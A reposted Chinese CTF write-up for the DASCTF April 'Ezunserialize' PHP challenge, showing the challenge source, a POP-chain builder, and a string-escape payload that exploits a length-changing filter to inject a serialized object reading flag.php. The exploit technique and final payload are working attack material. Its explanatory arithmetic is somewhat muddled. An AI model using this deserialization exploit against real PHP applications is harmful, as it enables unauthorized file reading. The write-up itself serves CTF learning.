DASCTF4月賽web題Ezunserialize


0x00題目源碼

<?php
show_source("index.php");
function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}

class B{
    public $b = 'gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;
    }
}

class C{
    public $c;
    function __toString(){
        //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}

$a = new A($_GET['a'],$_GET['b']);
//省略了存儲序列化數據的過程,下面是取出來並反序列化的操作
$b = unserialize(read(write(serialize($a))));

0x01 反序列化漏洞

__destruct魔法函數:當對象結束其生命周期時(例如對象所在的函數已調用完畢),系統自動執行析構函數。

__tostring魔法函數:當對象被當作字符串使用時調用

如果$b不是字符串類型,c的實例當做字符串拼接,從而使得__tostring執行

要想__destruct魔術方法被調用,則需要B的實例反序列化,因此要借用read以及write的漏洞

<?php
class A{
    public $username;
    public $password;
    
}

class B{
    public $b = 'gqy';
}

class C{
    public $c;
    
}
$C = new C();
$C->c="flag.php";
$B=new B();
$B->b = $C;
$A=new A();
$A->username = "admin";
$A->password = $B;
echo serialize($A);


?>

 得到 O:1:"A":2:{s:8:"username";s:5:"admin";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

0x02 字符逃逸

現在問題是有read以及write兩個函數的限定,write是將chr(0)*chr(0)變為/0/0/0----3字節變成6個字節,read相反,chr(0)是空,但是任然算作字節。

字符逃逸的目的是將;s:8:"password";給吞掉,從而可以反序列化后面的構造。

以下引用大佬的博客:https://blog.csdn.net/qq_41918771/article/details/105754357

 

 

 我們傳入參數a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=c";s:8:"password";s:4:"1234";}}。

 

 

 

看一下。我們傳入的b參數的值為c";s:8:"password";s:4:"1234";}}。這個值會賦值給$a的password屬性。按理說。password的值應該是c";s:8:"password";s:4:"1234";}}。但是看上圖,值是1234。
下面來分析一下:

  1. # 序列化后經過read函數的值
  2. O:1:"A":2:{s:8:"username";s:48:"********";s:8:"password";s:31:"c";s:8:"password";s:4:"1234";}}";}
  3. # 反序列化后的值
  4. object(A)#2 (2) { ["username"]=> string(48) "********";s:8:"password";s:31:"c" ["password"]=> string(4) "1234" }
  5. #username的值
  6. ********";s:8:"password";s:31:"c
  7. # password的值為1234

序列化是在第一個大括號截至的 ,后面可以全都忽略,前面/0/0/0的個數取決於后面構造的長度,目的是為了湊夠username之前username的字符個數,否則就會報錯。

例如

";s:8:"password";s:77:"1234

 是27個字符,/0/0/0一共有x個字符,/0/0/0 6個變成3個,字符數減半,所以x=x/2+27 => x =54 所以有9組/0/0/0

最后paload就是:

a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=1234";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM